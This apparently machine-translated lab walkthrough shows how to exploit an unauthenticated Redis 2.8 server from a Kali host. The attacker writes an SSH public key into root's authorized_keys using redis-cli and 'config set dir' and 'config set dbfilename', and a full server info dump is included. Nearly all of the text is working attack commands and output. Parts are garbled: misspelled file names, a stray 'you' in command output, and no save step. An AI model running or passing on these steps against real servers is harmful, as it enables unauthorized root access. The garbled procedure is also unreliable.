Redis unauthorized access to the attack process
Attacking host: kali
Target host: centos6.8 ( 10.104.11.178 )
Redis version: 2.8
Attack condition: default configuration, no authentication
Detailed attack steps:
1. Kali attack host to generate ssh rsa public key
root@kali:~/.ssh# ls known_hosts root@kali:~/.ssh# ssh-keygen -t rsa
2. Write the public key to key.txt
Write the public key generated in the first step to the specified file key.txt
root@kali:~/.ssh# (echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>key.txt
3. Use the config command provided by redis itself to write your own public key to the authotrized_keys file in the /root/.ssh folder of the target server
root@kali:~/.ssh# cat /root/.ssh/key.txt|/usr/redis/redis-cli -h 10.104.11.178 -x set xxx OK
execution succeed
4. Redis connects to the target host
root@kali:~/.ssh# /usr/redis/redis-cli -h 10.104.11.178 -p 6379 10.104.11.178:6379>
connection succeeded
View info information root@kali:~/.ssh# /usr/redis/redis-cli -h 10.104.11.178 10.104.11.178:6379> info # Server redis_version:2.8.17 redis_git_sha1:00000000 redis_git_dirty:0 redis_build_id:ee9a5c34b9ec4a26 redis_mode:standalone os:Linux 2.6.32-642.el6.x86_64 x86_64 arch_bits:64 multiplexing_api:epoll gcc_version:4.4.7 process_id:36422 run_id:f02a212c0f7090715b6935319b0b7bb4f83e81f5 tcp_port:6379 uptime_in_seconds:2158 uptime_in_days:0 hz:10 lru_clock:15382406 config_file:/root/redis-2.8.17/redis.conf #redis configuration file # Clients connected_clients:1 client_longest_output_list:0 client_biggest_input_buf:0 blocked_clients:0 # Memory used_memory:811488 used_memory_human:792.47K used_memory_rss:8441856 used_memory_peak:831456 used_memory_peak_human:811.97K used_memory_lua:33792 mem_fragmentation_ratio:10.40 mem_allocator:jemalloc-3.6.0 # Persistence loading:0 rdb_changes_since_last_save:0 rdb_bgsave_in_progress:0 rdb_last_save_time:1525331028 rdb_last_bgsave_status:ok rdb_last_bgsave_time_sec:-1 rdb_current_bgsave_time_sec:-1 aof_enabled:0 aof_rewrite_in_progress:0 aof_rewrite_scheduled:0 aof_last_rewrite_time_sec:-1 aof_current_rewrite_time_sec:-1 aof_last_bgrewrite_status:ok aof_last_write_status:ok # Stats total_connections_received:8 total_commands_processed:23 instantaneous_ops_per_sec:0 rejected_connections:0 sync_full:0 sync_partial_ok:0 sync_partial_err:0 expired_keys:0 evicted_keys:0 keyspace_hits:2 keyspace_misses:0 pubsub_channels:0 pubsub_patterns:0 latest_fork_usec:0 # Replication role:master connected_slaves:0 master_repl_offset:0 repl_backlog_active:0 repl_backlog_size:1048576 repl_backlog_first_byte_offset:0 repl_backlog_histlen:0 # CPU used_cpu_sys:2.59 used_cpu_user:1.06 used_cpu_sys_children:0.00 used_cpu_user_children:0.00 # Keyspace db0:keys=1,expires=0,avg_ttl=0
5. Modify the redis backup path and save the file name suphorized_keys
10.104.11.178:6379> config set dir /root/.ssh OK 10.104.11.178:6379> config get dir 1) "you" 2) "/root/.ssh" 10.104.11.178:6379> config set dbfilename authorized_keys OK
View info information
6. Next enter the ssh connection
root@kali:~/.ssh# ssh [email protected] -p 22 -i ~/.ssh/id_rsa Last login: Wed May 2 23:41:47 2018 from 10.104.10.97
Note: All executions are successful, remote ssh login still requires a password because: 10.104.11.178 target host configuration file does not enable key login
